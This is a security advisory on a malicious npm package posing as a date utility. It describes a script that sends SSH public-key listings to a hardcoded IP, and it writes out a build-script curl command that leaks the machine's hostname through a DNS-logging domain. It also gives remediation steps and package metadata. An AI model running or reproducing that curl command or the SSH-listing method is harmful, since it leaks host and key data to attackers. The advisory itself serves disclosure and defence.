OpenSSF/OSV advisory MAL-2026-5729 confirms this npm version as malicious. Package self-describes as 'A simple date formatting utility' but ships two distinct attacker primitives. (1) postinstall.js enumerates ~/.ssh/ for \*.pub files and POSTs the listing along with os.userInfo().username and platform to the hardcoded bare-IP endpoint https://124.221.154.135:443/post.

Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis No additional public attack-surface or AI-review details are available. ## Affected versions and remediation This report applies to houzidawang806@1.2.6. The same advisory and Firewall decision cover these 24 recorded versions: 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6, 1.0.7, 1.0.9, 1.1.0, 1.1.1, 1.1.2, 1.1.3, 1.1.4, 1.1.5, 1.1.7, 1.1.8, 1.2.0, 1.2.1, 1.2.3, 1.2.4, 1.2.5, 1.2.6, 1.1.6. - Avoid installing houzidawang806@1.2.6. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Osv Malicious Advisory - **Category:** External Intel - **Confidence:** 100.0% Package self-describes as 'A simple date formatting utility' but ships two distinct attacker primitives. (1) postinstall.js enumerates ~/.ssh/ for \*.pub files and POSTs the listing along with os.userInfo().username and platform to the hardcoded bare-IP endpoint https://124.221.154.135:443/post. The file's comments explicitly label sections as targets and C2 server in Chinese ('窃取目标', 'C2 服务器', '模拟外传数据到攻击者服务器 (C2)'). The script is shipped in the tarball but not wired into package.json lifecycle hooks, so it does not auto-execute on \`npm install\`; however, any tooling or developer that runs the shipped postinstall.js will exfiltrate SSH key listings to the attacker. (2) package.json scripts.build runs \`curl http://$(hostname).ba6511da.log.dnslog.pp.ua\`, embedding the installer's hostname as a subdomain of a public DNS-logging service used for out-of-band exfiltration. Running \`npm run build\` leaks the machine hostname to the attacker via DNS. The doc/behavior mismatch (a date-formatting library has no need for SSH directory enumeration, hostname recon, or hardcoded IP callbacks) plus the explicit C2-labeled comments make malicious intent unambiguous. \#\# Source: ghsa-malware (12fa3968a1f2dfdbe4b4e90edd156f70e5423fd33ae4a1e542fd68f3a4f8351f) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. \#\# Source: ossf-package-analysis (ed3081af88967b6d88637c2d7f15cde7050674bab1536c57bdf465737a6f6cf0) The OpenSSF Package Analysis project identified 'houzidawang806' @ 1.0.1 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior. ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** houzidawang806 - **Ecosystem:** npm - **Version:** 1.2.6 - **Version published:** 2026-06-13T08:45:35.228Z - **Package first seen:** 2026-06-30T15:00:00.099Z - **Package last seen:** 2026-08-05T07:45:09.211Z - **Known versions:** 24 - **Latest version:** 1.2.6 - **Appeal under review:** No ## References - [HTML security report]() - [OpenSSF/OSV advisory]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]()
